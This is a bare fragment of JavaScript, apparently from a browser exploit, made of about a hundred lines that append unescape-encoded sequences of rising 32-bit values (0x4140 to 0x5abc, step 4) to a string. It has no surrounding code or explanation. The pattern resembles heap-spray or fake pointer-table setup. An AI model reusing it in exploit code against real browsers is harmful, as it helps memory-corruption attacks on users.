str += unescape("%u0000%u4140%u0000%u4144%u0000%u4148%u0000%u414c%u0000%u4150%u0000%u4154%u0000%u4158%u0000%u415c%u0000%u4160%u0000%u4164%u0000%u4168%u0000%u416c%u0000%u4170%u0000%u4174%u0000%u4178%u0000%u417c");
str += unescape("%u0000%u4180%u0000%u4184%u0000%u4188%u0000%u418c%u0000%u4190%u0000%u4194%u0000%u4198%u0000%u419c%u0000%u41a0%u0000%u41a4%u0000%u41a8%u0000%u41ac%u0000%u41b0%u0000%u41b4%u0000%u41b8%u0000%u41bc");
str += unescape("%u0000%u41c0%u0000%u41c4%u0000%u41c8%u0000%u41cc%u0000%u41d0%u0000%u41d4%u0000%u41d8%u0000%u41dc%u0000%u41e0%u0000%u41e4%u0000%u41e8%u0000%u41ec%u0000%u41f0%u0000%u41f4%u0000%u41f8%u0000%u41fc");
str += unescape("%u0000%u4200%u0000%u4204%u0000%u4208%u0000%u420c%u0000%u4210%u0000%u4214%u0000%u4218%u0000%u421c%u0000%u4220%u0000%u4224%u0000%u4228%u0000%u422c%u0000%u4230%u0000%u4234%u0000%u4238%u0000%u423c");
str += unescape("%u0000%u4240%u0000%u4244%u0000%u4248%u0000%u424c%u0000%u4250%u0000%u4254%u0000%u4258%u0000%u425c%u0000%u4260%u0000%u4264%u0000%u4268%u0000%u426c%u0000%u4270%u0000%u4274%u0000%u4278%u0000%u427c");
str += unescape("%u0000%u4280%u0000%u4284%u0000%u4288%u0000%u428c%u0000%u4290%u0000%u4294%u0000%u4298%u0000%u429c%u0000%u42a0%u0000%u42a4%u0000%u42a8%u0000%u42ac%u0000%u42b0%u0000%u42b4%u0000%u42b8%u0000%u42bc");
str += unescape("%u0000%u42c0%u0000%u42c4%u0000%u42c8%u0000%u42cc%u0000%u42d0%u0000%u42d4%u0000%u42d8%u0000%u42dc%u0000%u42e0%u0000%u42e4%u0000%u42e8%u0000%u42ec%u0000%u42f0%u0000%u42f4%u0000%u42f8%u0000%u42fc");
str += unescape("%u0000%u4300%u0000%u4304%u0000%u4308%u0000%u430c%u0000%u4310%u0000%u4314%u0000%u4318%u0000%u431c%u0000%u4320%u0000%u4324%u0000%u4328%u0000%u432c%u0000%u4330%u0000%u4334%u0000%u4338%u0000%u433c");
str += unescape("%u0000%u4340%u0000%u4344%u0000%u4348%u0000%u434c%u0000%u4350%u0000%u4354%u0000%u4358%u0000%u435c%u0000%u4360%u0000%u4364%u0000%u4368%u0000%u436c%u0000%u4370%u0000%u4374%u0000%u4378%u0000%u437c");
str += unescape("%u0000%u4380%u0000%u4384%u0000%u4388%u0000%u438c%u0000%u4390%u0000%u4394%u0000%u4398%u0000%u439c%u0000%u43a0%u0000%u43a4%u0000%u43a8%u0000%u43ac%u0000%u43b0%u0000%u43b4%u0000%u43b8%u0000%u43bc");
str += unescape("%u0000%u43c0%u0000%u43c4%u0000%u43c8%u0000%u43cc%u0000%u43d0%u0000%u43d4%u0000%u43d8%u0000%u43dc%u0000%u43e0%u0000%u43e4%u0000%u43e8%u0000%u43ec%u0000%u43f0%u0000%u43f4%u0000%u43f8%u0000%u43fc");
str += unescape("%u0000%u4400%u0000%u4404%u0000%u4408%u0000%u440c%u0000%u4410%u0000%u4414%u0000%u4418%u0000%u441c%u0000%u4420%u0000%u4424%u0000%u4428%u0000%u442c%u0000%u4430%u0000%u4434%u0000%u4438%u0000%u443c");
str += unescape("%u0000%u4440%u0000%u4444%u0000%u4448%u0000%u444c%u0000%u4450%u0000%u4454%u0000%u4458%u0000%u445c%u0000%u4460%u0000%u4464%u0000%u4468%u0000%u446c%u0000%u4470%u0000%u4474%u0000%u4478%u0000%u447c");
str += unescape("%u0000%u4480%u0000%u4484%u0000%u4488%u0000%u448c%u0000%u4490%u0000%u4494%u0000%u4498%u0000%u449c%u0000%u44a0%u0000%u44a4%u0000%u44a8%u0000%u44ac%u0000%u44b0%u0000%u44b4%u0000%u44b8%u0000%u44bc");
str += unescape("%u0000%u44c0%u0000%u44c4%u0000%u44c8%u0000%u44cc%u0000%u44d0%u0000%u44d4%u0000%u44d8%u0000%u44dc%u0000%u44e0%u0000%u44e4%u0000%u44e8%u0000%u44ec%u0000%u44f0%u0000%u44f4%u0000%u44f8%u0000%u44fc");
str += unescape("%u0000%u4500%u0000%u4504%u0000%u4508%u0000%u450c%u0000%u4510%u0000%u4514%u0000%u4518%u0000%u451c%u0000%u4520%u0000%u4524%u0000%u4528%u0000%u452c%u0000%u4530%u0000%u4534%u0000%u4538%u0000%u453c");
str += unescape("%u0000%u4540%u0000%u4544%u0000%u4548%u0000%u454c%u0000%u4550%u0000%u4554%u0000%u4558%u0000%u455c%u0000%u4560%u0000%u4564%u0000%u4568%u0000%u456c%u0000%u4570%u0000%u4574%u0000%u4578%u0000%u457c");
str += unescape("%u0000%u4580%u0000%u4584%u0000%u4588%u0000%u458c%u0000%u4590%u0000%u4594%u0000%u4598%u0000%u459c%u0000%u45a0%u0000%u45a4%u0000%u45a8%u0000%u45ac%u0000%u45b0%u0000%u45b4%u0000%u45b8%u0000%u45bc");
str += unescape("%u0000%u45c0%u0000%u45c4%u0000%u45c8%u0000%u45cc%u0000%u45d0%u0000%u45d4%u0000%u45d8%u0000%u45dc%u0000%u45e0%u0000%u45e4%u0000%u45e8%u0000%u45ec%u0000%u45f0%u0000%u45f4%u0000%u45f8%u0000%u45fc");
str += unescape("%u0000%u4600%u0000%u4604%u0000%u4608%u0000%u460c%u0000%u4610%u0000%u4614%u0000%u4618%u0000%u461c%u0000%u4620%u0000%u4624%u0000%u4628%u0000%u462c%u0000%u4630%u0000%u4634%u0000%u4638%u0000%u463c");
str += unescape("%u0000%u4640%u0000%u4644%u0000%u4648%u0000%u464c%u0000%u4650%u0000%u4654%u0000%u4658%u0000%u465c%u0000%u4660%u0000%u4664%u0000%u4668%u0000%u466c%u0000%u4670%u0000%u4674%u0000%u4678%u0000%u467c");
str += unescape("%u0000%u4680%u0000%u4684%u0000%u4688%u0000%u468c%u0000%u4690%u0000%u4694%u0000%u4698%u0000%u469c%u0000%u46a0%u0000%u46a4%u0000%u46a8%u0000%u46ac%u0000%u46b0%u0000%u46b4%u0000%u46b8%u0000%u46bc");
str += unescape("%u0000%u46c0%u0000%u46c4%u0000%u46c8%u0000%u46cc%u0000%u46d0%u0000%u46d4%u0000%u46d8%u0000%u46dc%u0000%u46e0%u0000%u46e4%u0000%u46e8%u0000%u46ec%u0000%u46f0%u0000%u46f4%u0000%u46f8%u0000%u46fc");
str += unescape("%u0000%u4700%u0000%u4704%u0000%u4708%u0000%u470c%u0000%u4710%u0000%u4714%u0000%u4718%u0000%u471c%u0000%u4720%u0000%u4724%u0000%u4728%u0000%u472c%u0000%u4730%u0000%u4734%u0000%u4738%u0000%u473c");
str += unescape("%u0000%u4740%u0000%u4744%u0000%u4748%u0000%u474c%u0000%u4750%u0000%u4754%u0000%u4758%u0000%u475c%u0000%u4760%u0000%u4764%u0000%u4768%u0000%u476c%u0000%u4770%u0000%u4774%u0000%u4778%u0000%u477c");
str += unescape("%u0000%u4780%u0000%u4784%u0000%u4788%u0000%u478c%u0000%u4790%u0000%u4794%u0000%u4798%u0000%u479c%u0000%u47a0%u0000%u47a4%u0000%u47a8%u0000%u47ac%u0000%u47b0%u0000%u47b4%u0000%u47b8%u0000%u47bc");
str += unescape("%u0000%u47c0%u0000%u47c4%u0000%u47c8%u0000%u47cc%u0000%u47d0%u0000%u47d4%u0000%u47d8%u0000%u47dc%u0000%u47e0%u0000%u47e4%u0000%u47e8%u0000%u47ec%u0000%u47f0%u0000%u47f4%u0000%u47f8%u0000%u47fc");
str += unescape("%u0000%u4800%u0000%u4804%u0000%u4808%u0000%u480c%u0000%u4810%u0000%u4814%u0000%u4818%u0000%u481c%u0000%u4820%u0000%u4824%u0000%u4828%u0000%u482c%u0000%u4830%u0000%u4834%u0000%u4838%u0000%u483c");
str += unescape("%u0000%u4840%u0000%u4844%u0000%u4848%u0000%u484c%u0000%u4850%u0000%u4854%u0000%u4858%u0000%u485c%u0000%u4860%u0000%u4864%u0000%u4868%u0000%u486c%u0000%u4870%u0000%u4874%u0000%u4878%u0000%u487c");
str += unescape("%u0000%u4880%u0000%u4884%u0000%u4888%u0000%u488c%u0000%u4890%u0000%u4894%u0000%u4898%u0000%u489c%u0000%u48a0%u0000%u48a4%u0000%u48a8%u0000%u48ac%u0000%u48b0%u0000%u48b4%u0000%u48b8%u0000%u48bc");
str += unescape("%u0000%u48c0%u0000%u48c4%u0000%u48c8%u0000%u48cc%u0000%u48d0%u0000%u48d4%u0000%u48d8%u0000%u48dc%u0000%u48e0%u0000%u48e4%u0000%u48e8%u0000%u48ec%u0000%u48f0%u0000%u48f4%u0000%u48f8%u0000%u48fc");
str += unescape("%u0000%u4900%u0000%u4904%u0000%u4908%u0000%u490c%u0000%u4910%u0000%u4914%u0000%u4918%u0000%u491c%u0000%u4920%u0000%u4924%u0000%u4928%u0000%u492c%u0000%u4930%u0000%u4934%u0000%u4938%u0000%u493c");
str += unescape("%u0000%u4940%u0000%u4944%u0000%u4948%u0000%u494c%u0000%u4950%u0000%u4954%u0000%u4958%u0000%u495c%u0000%u4960%u0000%u4964%u0000%u4968%u0000%u496c%u0000%u4970%u0000%u4974%u0000%u4978%u0000%u497c");
str += unescape("%u0000%u4980%u0000%u4984%u0000%u4988%u0000%u498c%u0000%u4990%u0000%u4994%u0000%u4998%u0000%u499c%u0000%u49a0%u0000%u49a4%u0000%u49a8%u0000%u49ac%u0000%u49b0%u0000%u49b4%u0000%u49b8%u0000%u49bc");
str += unescape("%u0000%u49c0%u0000%u49c4%u0000%u49c8%u0000%u49cc%u0000%u49d0%u0000%u49d4%u0000%u49d8%u0000%u49dc%u0000%u49e0%u0000%u49e4%u0000%u49e8%u0000%u49ec%u0000%u49f0%u0000%u49f4%u0000%u49f8%u0000%u49fc");
str += unescape("%u0000%u4a00%u0000%u4a04%u0000%u4a08%u0000%u4a0c%u0000%u4a10%u0000%u4a14%u0000%u4a18%u0000%u4a1c%u0000%u4a20%u0000%u4a24%u0000%u4a28%u0000%u4a2c%u0000%u4a30%u0000%u4a34%u0000%u4a38%u0000%u4a3c");
str += unescape("%u0000%u4a40%u0000%u4a44%u0000%u4a48%u0000%u4a4c%u0000%u4a50%u0000%u4a54%u0000%u4a58%u0000%u4a5c%u0000%u4a60%u0000%u4a64%u0000%u4a68%u0000%u4a6c%u0000%u4a70%u0000%u4a74%u0000%u4a78%u0000%u4a7c");
str += unescape("%u0000%u4a80%u0000%u4a84%u0000%u4a88%u0000%u4a8c%u0000%u4a90%u0000%u4a94%u0000%u4a98%u0000%u4a9c%u0000%u4aa0%u0000%u4aa4%u0000%u4aa8%u0000%u4aac%u0000%u4ab0%u0000%u4ab4%u0000%u4ab8%u0000%u4abc");
str += unescape("%u0000%u4ac0%u0000%u4ac4%u0000%u4ac8%u0000%u4acc%u0000%u4ad0%u0000%u4ad4%u0000%u4ad8%u0000%u4adc%u0000%u4ae0%u0000%u4ae4%u0000%u4ae8%u0000%u4aec%u0000%u4af0%u0000%u4af4%u0000%u4af8%u0000%u4afc");
str += unescape("%u0000%u4b00%u0000%u4b04%u0000%u4b08%u0000%u4b0c%u0000%u4b10%u0000%u4b14%u0000%u4b18%u0000%u4b1c%u0000%u4b20%u0000%u4b24%u0000%u4b28%u0000%u4b2c%u0000%u4b30%u0000%u4b34%u0000%u4b38%u0000%u4b3c");
str += unescape("%u0000%u4b40%u0000%u4b44%u0000%u4b48%u0000%u4b4c%u0000%u4b50%u0000%u4b54%u0000%u4b58%u0000%u4b5c%u0000%u4b60%u0000%u4b64%u0000%u4b68%u0000%u4b6c%u0000%u4b70%u0000%u4b74%u0000%u4b78%u0000%u4b7c");
str += unescape("%u0000%u4b80%u0000%u4b84%u0000%u4b88%u0000%u4b8c%u0000%u4b90%u0000%u4b94%u0000%u4b98%u0000%u4b9c%u0000%u4ba0%u0000%u4ba4%u0000%u4ba8%u0000%u4bac%u0000%u4bb0%u0000%u4bb4%u0000%u4bb8%u0000%u4bbc");
str += unescape("%u0000%u4bc0%u0000%u4bc4%u0000%u4bc8%u0000%u4bcc%u0000%u4bd0%u0000%u4bd4%u0000%u4bd8%u0000%u4bdc%u0000%u4be0%u0000%u4be4%u0000%u4be8%u0000%u4bec%u0000%u4bf0%u0000%u4bf4%u0000%u4bf8%u0000%u4bfc");
str += unescape("%u0000%u4c00%u0000%u4c04%u0000%u4c08%u0000%u4c0c%u0000%u4c10%u0000%u4c14%u0000%u4c18%u0000%u4c1c%u0000%u4c20%u0000%u4c24%u0000%u4c28%u0000%u4c2c%u0000%u4c30%u0000%u4c34%u0000%u4c38%u0000%u4c3c");
str += unescape("%u0000%u4c40%u0000%u4c44%u0000%u4c48%u0000%u4c4c%u0000%u4c50%u0000%u4c54%u0000%u4c58%u0000%u4c5c%u0000%u4c60%u0000%u4c64%u0000%u4c68%u0000%u4c6c%u0000%u4c70%u0000%u4c74%u0000%u4c78%u0000%u4c7c");
str += unescape("%u0000%u4c80%u0000%u4c84%u0000%u4c88%u0000%u4c8c%u0000%u4c90%u0000%u4c94%u0000%u4c98%u0000%u4c9c%u0000%u4ca0%u0000%u4ca4%u0000%u4ca8%u0000%u4cac%u0000%u4cb0%u0000%u4cb4%u0000%u4cb8%u0000%u4cbc");
str += unescape("%u0000%u4cc0%u0000%u4cc4%u0000%u4cc8%u0000%u4ccc%u0000%u4cd0%u0000%u4cd4%u0000%u4cd8%u0000%u4cdc%u0000%u4ce0%u0000%u4ce4%u0000%u4ce8%u0000%u4cec%u0000%u4cf0%u0000%u4cf4%u0000%u4cf8%u0000%u4cfc");
str += unescape("%u0000%u4d00%u0000%u4d04%u0000%u4d08%u0000%u4d0c%u0000%u4d10%u0000%u4d14%u0000%u4d18%u0000%u4d1c%u0000%u4d20%u0000%u4d24%u0000%u4d28%u0000%u4d2c%u0000%u4d30%u0000%u4d34%u0000%u4d38%u0000%u4d3c");
str += unescape("%u0000%u4d40%u0000%u4d44%u0000%u4d48%u0000%u4d4c%u0000%u4d50%u0000%u4d54%u0000%u4d58%u0000%u4d5c%u0000%u4d60%u0000%u4d64%u0000%u4d68%u0000%u4d6c%u0000%u4d70%u0000%u4d74%u0000%u4d78%u0000%u4d7c");
str += unescape("%u0000%u4d80%u0000%u4d84%u0000%u4d88%u0000%u4d8c%u0000%u4d90%u0000%u4d94%u0000%u4d98%u0000%u4d9c%u0000%u4da0%u0000%u4da4%u0000%u4da8%u0000%u4dac%u0000%u4db0%u0000%u4db4%u0000%u4db8%u0000%u4dbc");
str += unescape("%u0000%u4dc0%u0000%u4dc4%u0000%u4dc8%u0000%u4dcc%u0000%u4dd0%u0000%u4dd4%u0000%u4dd8%u0000%u4ddc%u0000%u4de0%u0000%u4de4%u0000%u4de8%u0000%u4dec%u0000%u4df0%u0000%u4df4%u0000%u4df8%u0000%u4dfc");
str += unescape("%u0000%u4e00%u0000%u4e04%u0000%u4e08%u0000%u4e0c%u0000%u4e10%u0000%u4e14%u0000%u4e18%u0000%u4e1c%u0000%u4e20%u0000%u4e24%u0000%u4e28%u0000%u4e2c%u0000%u4e30%u0000%u4e34%u0000%u4e38%u0000%u4e3c");
str += unescape("%u0000%u4e40%u0000%u4e44%u0000%u4e48%u0000%u4e4c%u0000%u4e50%u0000%u4e54%u0000%u4e58%u0000%u4e5c%u0000%u4e60%u0000%u4e64%u0000%u4e68%u0000%u4e6c%u0000%u4e70%u0000%u4e74%u0000%u4e78%u0000%u4e7c");
str += unescape("%u0000%u4e80%u0000%u4e84%u0000%u4e88%u0000%u4e8c%u0000%u4e90%u0000%u4e94%u0000%u4e98%u0000%u4e9c%u0000%u4ea0%u0000%u4ea4%u0000%u4ea8%u0000%u4eac%u0000%u4eb0%u0000%u4eb4%u0000%u4eb8%u0000%u4ebc");
str += unescape("%u0000%u4ec0%u0000%u4ec4%u0000%u4ec8%u0000%u4ecc%u0000%u4ed0%u0000%u4ed4%u0000%u4ed8%u0000%u4edc%u0000%u4ee0%u0000%u4ee4%u0000%u4ee8%u0000%u4eec%u0000%u4ef0%u0000%u4ef4%u0000%u4ef8%u0000%u4efc");
str += unescape("%u0000%u4f00%u0000%u4f04%u0000%u4f08%u0000%u4f0c%u0000%u4f10%u0000%u4f14%u0000%u4f18%u0000%u4f1c%u0000%u4f20%u0000%u4f24%u0000%u4f28%u0000%u4f2c%u0000%u4f30%u0000%u4f34%u0000%u4f38%u0000%u4f3c");
str += unescape("%u0000%u4f40%u0000%u4f44%u0000%u4f48%u0000%u4f4c%u0000%u4f50%u0000%u4f54%u0000%u4f58%u0000%u4f5c%u0000%u4f60%u0000%u4f64%u0000%u4f68%u0000%u4f6c%u0000%u4f70%u0000%u4f74%u0000%u4f78%u0000%u4f7c");
str += unescape("%u0000%u4f80%u0000%u4f84%u0000%u4f88%u0000%u4f8c%u0000%u4f90%u0000%u4f94%u0000%u4f98%u0000%u4f9c%u0000%u4fa0%u0000%u4fa4%u0000%u4fa8%u0000%u4fac%u0000%u4fb0%u0000%u4fb4%u0000%u4fb8%u0000%u4fbc");
str += unescape("%u0000%u4fc0%u0000%u4fc4%u0000%u4fc8%u0000%u4fcc%u0000%u4fd0%u0000%u4fd4%u0000%u4fd8%u0000%u4fdc%u0000%u4fe0%u0000%u4fe4%u0000%u4fe8%u0000%u4fec%u0000%u4ff0%u0000%u4ff4%u0000%u4ff8%u0000%u4ffc");
str += unescape("%u0000%u5000%u0000%u5004%u0000%u5008%u0000%u500c%u0000%u5010%u0000%u5014%u0000%u5018%u0000%u501c%u0000%u5020%u0000%u5024%u0000%u5028%u0000%u502c%u0000%u5030%u0000%u5034%u0000%u5038%u0000%u503c");
str += unescape("%u0000%u5040%u0000%u5044%u0000%u5048%u0000%u504c%u0000%u5050%u0000%u5054%u0000%u5058%u0000%u505c%u0000%u5060%u0000%u5064%u0000%u5068%u0000%u506c%u0000%u5070%u0000%u5074%u0000%u5078%u0000%u507c");
str += unescape("%u0000%u5080%u0000%u5084%u0000%u5088%u0000%u508c%u0000%u5090%u0000%u5094%u0000%u5098%u0000%u509c%u0000%u50a0%u0000%u50a4%u0000%u50a8%u0000%u50ac%u0000%u50b0%u0000%u50b4%u0000%u50b8%u0000%u50bc");
str += unescape("%u0000%u50c0%u0000%u50c4%u0000%u50c8%u0000%u50cc%u0000%u50d0%u0000%u50d4%u0000%u50d8%u0000%u50dc%u0000%u50e0%u0000%u50e4%u0000%u50e8%u0000%u50ec%u0000%u50f0%u0000%u50f4%u0000%u50f8%u0000%u50fc");
str += unescape("%u0000%u5100%u0000%u5104%u0000%u5108%u0000%u510c%u0000%u5110%u0000%u5114%u0000%u5118%u0000%u511c%u0000%u5120%u0000%u5124%u0000%u5128%u0000%u512c%u0000%u5130%u0000%u5134%u0000%u5138%u0000%u513c");
str += unescape("%u0000%u5140%u0000%u5144%u0000%u5148%u0000%u514c%u0000%u5150%u0000%u5154%u0000%u5158%u0000%u515c%u0000%u5160%u0000%u5164%u0000%u5168%u0000%u516c%u0000%u5170%u0000%u5174%u0000%u5178%u0000%u517c");
str += unescape("%u0000%u5180%u0000%u5184%u0000%u5188%u0000%u518c%u0000%u5190%u0000%u5194%u0000%u5198%u0000%u519c%u0000%u51a0%u0000%u51a4%u0000%u51a8%u0000%u51ac%u0000%u51b0%u0000%u51b4%u0000%u51b8%u0000%u51bc");
str += unescape("%u0000%u51c0%u0000%u51c4%u0000%u51c8%u0000%u51cc%u0000%u51d0%u0000%u51d4%u0000%u51d8%u0000%u51dc%u0000%u51e0%u0000%u51e4%u0000%u51e8%u0000%u51ec%u0000%u51f0%u0000%u51f4%u0000%u51f8%u0000%u51fc");
str += unescape("%u0000%u5200%u0000%u5204%u0000%u5208%u0000%u520c%u0000%u5210%u0000%u5214%u0000%u5218%u0000%u521c%u0000%u5220%u0000%u5224%u0000%u5228%u0000%u522c%u0000%u5230%u0000%u5234%u0000%u5238%u0000%u523c");
str += unescape("%u0000%u5240%u0000%u5244%u0000%u5248%u0000%u524c%u0000%u5250%u0000%u5254%u0000%u5258%u0000%u525c%u0000%u5260%u0000%u5264%u0000%u5268%u0000%u526c%u0000%u5270%u0000%u5274%u0000%u5278%u0000%u527c");
str += unescape("%u0000%u5280%u0000%u5284%u0000%u5288%u0000%u528c%u0000%u5290%u0000%u5294%u0000%u5298%u0000%u529c%u0000%u52a0%u0000%u52a4%u0000%u52a8%u0000%u52ac%u0000%u52b0%u0000%u52b4%u0000%u52b8%u0000%u52bc");
str += unescape("%u0000%u52c0%u0000%u52c4%u0000%u52c8%u0000%u52cc%u0000%u52d0%u0000%u52d4%u0000%u52d8%u0000%u52dc%u0000%u52e0%u0000%u52e4%u0000%u52e8%u0000%u52ec%u0000%u52f0%u0000%u52f4%u0000%u52f8%u0000%u52fc");
str += unescape("%u0000%u5300%u0000%u5304%u0000%u5308%u0000%u530c%u0000%u5310%u0000%u5314%u0000%u5318%u0000%u531c%u0000%u5320%u0000%u5324%u0000%u5328%u0000%u532c%u0000%u5330%u0000%u5334%u0000%u5338%u0000%u533c");
str += unescape("%u0000%u5340%u0000%u5344%u0000%u5348%u0000%u534c%u0000%u5350%u0000%u5354%u0000%u5358%u0000%u535c%u0000%u5360%u0000%u5364%u0000%u5368%u0000%u536c%u0000%u5370%u0000%u5374%u0000%u5378%u0000%u537c");
str += unescape("%u0000%u5380%u0000%u5384%u0000%u5388%u0000%u538c%u0000%u5390%u0000%u5394%u0000%u5398%u0000%u539c%u0000%u53a0%u0000%u53a4%u0000%u53a8%u0000%u53ac%u0000%u53b0%u0000%u53b4%u0000%u53b8%u0000%u53bc");
str += unescape("%u0000%u53c0%u0000%u53c4%u0000%u53c8%u0000%u53cc%u0000%u53d0%u0000%u53d4%u0000%u53d8%u0000%u53dc%u0000%u53e0%u0000%u53e4%u0000%u53e8%u0000%u53ec%u0000%u53f0%u0000%u53f4%u0000%u53f8%u0000%u53fc");
str += unescape("%u0000%u5400%u0000%u5404%u0000%u5408%u0000%u540c%u0000%u5410%u0000%u5414%u0000%u5418%u0000%u541c%u0000%u5420%u0000%u5424%u0000%u5428%u0000%u542c%u0000%u5430%u0000%u5434%u0000%u5438%u0000%u543c");
str += unescape("%u0000%u5440%u0000%u5444%u0000%u5448%u0000%u544c%u0000%u5450%u0000%u5454%u0000%u5458%u0000%u545c%u0000%u5460%u0000%u5464%u0000%u5468%u0000%u546c%u0000%u5470%u0000%u5474%u0000%u5478%u0000%u547c");
str += unescape("%u0000%u5480%u0000%u5484%u0000%u5488%u0000%u548c%u0000%u5490%u0000%u5494%u0000%u5498%u0000%u549c%u0000%u54a0%u0000%u54a4%u0000%u54a8%u0000%u54ac%u0000%u54b0%u0000%u54b4%u0000%u54b8%u0000%u54bc");
str += unescape("%u0000%u54c0%u0000%u54c4%u0000%u54c8%u0000%u54cc%u0000%u54d0%u0000%u54d4%u0000%u54d8%u0000%u54dc%u0000%u54e0%u0000%u54e4%u0000%u54e8%u0000%u54ec%u0000%u54f0%u0000%u54f4%u0000%u54f8%u0000%u54fc");
str += unescape("%u0000%u5500%u0000%u5504%u0000%u5508%u0000%u550c%u0000%u5510%u0000%u5514%u0000%u5518%u0000%u551c%u0000%u5520%u0000%u5524%u0000%u5528%u0000%u552c%u0000%u5530%u0000%u5534%u0000%u5538%u0000%u553c");
str += unescape("%u0000%u5540%u0000%u5544%u0000%u5548%u0000%u554c%u0000%u5550%u0000%u5554%u0000%u5558%u0000%u555c%u0000%u5560%u0000%u5564%u0000%u5568%u0000%u556c%u0000%u5570%u0000%u5574%u0000%u5578%u0000%u557c");
str += unescape("%u0000%u5580%u0000%u5584%u0000%u5588%u0000%u558c%u0000%u5590%u0000%u5594%u0000%u5598%u0000%u559c%u0000%u55a0%u0000%u55a4%u0000%u55a8%u0000%u55ac%u0000%u55b0%u0000%u55b4%u0000%u55b8%u0000%u55bc");
str += unescape("%u0000%u55c0%u0000%u55c4%u0000%u55c8%u0000%u55cc%u0000%u55d0%u0000%u55d4%u0000%u55d8%u0000%u55dc%u0000%u55e0%u0000%u55e4%u0000%u55e8%u0000%u55ec%u0000%u55f0%u0000%u55f4%u0000%u55f8%u0000%u55fc");
str += unescape("%u0000%u5600%u0000%u5604%u0000%u5608%u0000%u560c%u0000%u5610%u0000%u5614%u0000%u5618%u0000%u561c%u0000%u5620%u0000%u5624%u0000%u5628%u0000%u562c%u0000%u5630%u0000%u5634%u0000%u5638%u0000%u563c");
str += unescape("%u0000%u5640%u0000%u5644%u0000%u5648%u0000%u564c%u0000%u5650%u0000%u5654%u0000%u5658%u0000%u565c%u0000%u5660%u0000%u5664%u0000%u5668%u0000%u566c%u0000%u5670%u0000%u5674%u0000%u5678%u0000%u567c");
str += unescape("%u0000%u5680%u0000%u5684%u0000%u5688%u0000%u568c%u0000%u5690%u0000%u5694%u0000%u5698%u0000%u569c%u0000%u56a0%u0000%u56a4%u0000%u56a8%u0000%u56ac%u0000%u56b0%u0000%u56b4%u0000%u56b8%u0000%u56bc");
str += unescape("%u0000%u56c0%u0000%u56c4%u0000%u56c8%u0000%u56cc%u0000%u56d0%u0000%u56d4%u0000%u56d8%u0000%u56dc%u0000%u56e0%u0000%u56e4%u0000%u56e8%u0000%u56ec%u0000%u56f0%u0000%u56f4%u0000%u56f8%u0000%u56fc");
str += unescape("%u0000%u5700%u0000%u5704%u0000%u5708%u0000%u570c%u0000%u5710%u0000%u5714%u0000%u5718%u0000%u571c%u0000%u5720%u0000%u5724%u0000%u5728%u0000%u572c%u0000%u5730%u0000%u5734%u0000%u5738%u0000%u573c");
str += unescape("%u0000%u5740%u0000%u5744%u0000%u5748%u0000%u574c%u0000%u5750%u0000%u5754%u0000%u5758%u0000%u575c%u0000%u5760%u0000%u5764%u0000%u5768%u0000%u576c%u0000%u5770%u0000%u5774%u0000%u5778%u0000%u577c");
str += unescape("%u0000%u5780%u0000%u5784%u0000%u5788%u0000%u578c%u0000%u5790%u0000%u5794%u0000%u5798%u0000%u579c%u0000%u57a0%u0000%u57a4%u0000%u57a8%u0000%u57ac%u0000%u57b0%u0000%u57b4%u0000%u57b8%u0000%u57bc");
str += unescape("%u0000%u57c0%u0000%u57c4%u0000%u57c8%u0000%u57cc%u0000%u57d0%u0000%u57d4%u0000%u57d8%u0000%u57dc%u0000%u57e0%u0000%u57e4%u0000%u57e8%u0000%u57ec%u0000%u57f0%u0000%u57f4%u0000%u57f8%u0000%u57fc");
str += unescape("%u0000%u5800%u0000%u5804%u0000%u5808%u0000%u580c%u0000%u5810%u0000%u5814%u0000%u5818%u0000%u581c%u0000%u5820%u0000%u5824%u0000%u5828%u0000%u582c%u0000%u5830%u0000%u5834%u0000%u5838%u0000%u583c");
str += unescape("%u0000%u5840%u0000%u5844%u0000%u5848%u0000%u584c%u0000%u5850%u0000%u5854%u0000%u5858%u0000%u585c%u0000%u5860%u0000%u5864%u0000%u5868%u0000%u586c%u0000%u5870%u0000%u5874%u0000%u5878%u0000%u587c");
str += unescape("%u0000%u5880%u0000%u5884%u0000%u5888%u0000%u588c%u0000%u5890%u0000%u5894%u0000%u5898%u0000%u589c%u0000%u58a0%u0000%u58a4%u0000%u58a8%u0000%u58ac%u0000%u58b0%u0000%u58b4%u0000%u58b8%u0000%u58bc");
str += unescape("%u0000%u58c0%u0000%u58c4%u0000%u58c8%u0000%u58cc%u0000%u58d0%u0000%u58d4%u0000%u58d8%u0000%u58dc%u0000%u58e0%u0000%u58e4%u0000%u58e8%u0000%u58ec%u0000%u58f0%u0000%u58f4%u0000%u58f8%u0000%u58fc");
str += unescape("%u0000%u5900%u0000%u5904%u0000%u5908%u0000%u590c%u0000%u5910%u0000%u5914%u0000%u5918%u0000%u591c%u0000%u5920%u0000%u5924%u0000%u5928%u0000%u592c%u0000%u5930%u0000%u5934%u0000%u5938%u0000%u593c");
str += unescape("%u0000%u5940%u0000%u5944%u0000%u5948%u0000%u594c%u0000%u5950%u0000%u5954%u0000%u5958%u0000%u595c%u0000%u5960%u0000%u5964%u0000%u5968%u0000%u596c%u0000%u5970%u0000%u5974%u0000%u5978%u0000%u597c");
str += unescape("%u0000%u5980%u0000%u5984%u0000%u5988%u0000%u598c%u0000%u5990%u0000%u5994%u0000%u5998%u0000%u599c%u0000%u59a0%u0000%u59a4%u0000%u59a8%u0000%u59ac%u0000%u59b0%u0000%u59b4%u0000%u59b8%u0000%u59bc");
str += unescape("%u0000%u59c0%u0000%u59c4%u0000%u59c8%u0000%u59cc%u0000%u59d0%u0000%u59d4%u0000%u59d8%u0000%u59dc%u0000%u59e0%u0000%u59e4%u0000%u59e8%u0000%u59ec%u0000%u59f0%u0000%u59f4%u0000%u59f8%u0000%u59fc");
str += unescape("%u0000%u5a00%u0000%u5a04%u0000%u5a08%u0000%u5a0c%u0000%u5a10%u0000%u5a14%u0000%u5a18%u0000%u5a1c%u0000%u5a20%u0000%u5a24%u0000%u5a28%u0000%u5a2c%u0000%u5a30%u0000%u5a34%u0000%u5a38%u0000%u5a3c");
str += unescape("%u0000%u5a40%u0000%u5a44%u0000%u5a48%u0000%u5a4c%u0000%u5a50%u0000%u5a54%u0000%u5a58%u0000%u5a5c%u0000%u5a60%u0000%u5a64%u0000%u5a68%u0000%u5a6c%u0000%u5a70%u0000%u5a74%u0000%u5a78%u0000%u5a7c");
str += unescape("%u0000%u5a80%u0000%u5a84%u0000%u5a88%u0000%u5a8c%u0000%u5a90%u0000%u5a94%u0000%u5a98%u0000%u5a9c%u0000%u5aa0%u0000%u5aa4%u0000%u5aa8%u0000%u5aac%u0000%u5ab0%u0000%u5ab4%u0000%u5ab8%u0000%u5abc");
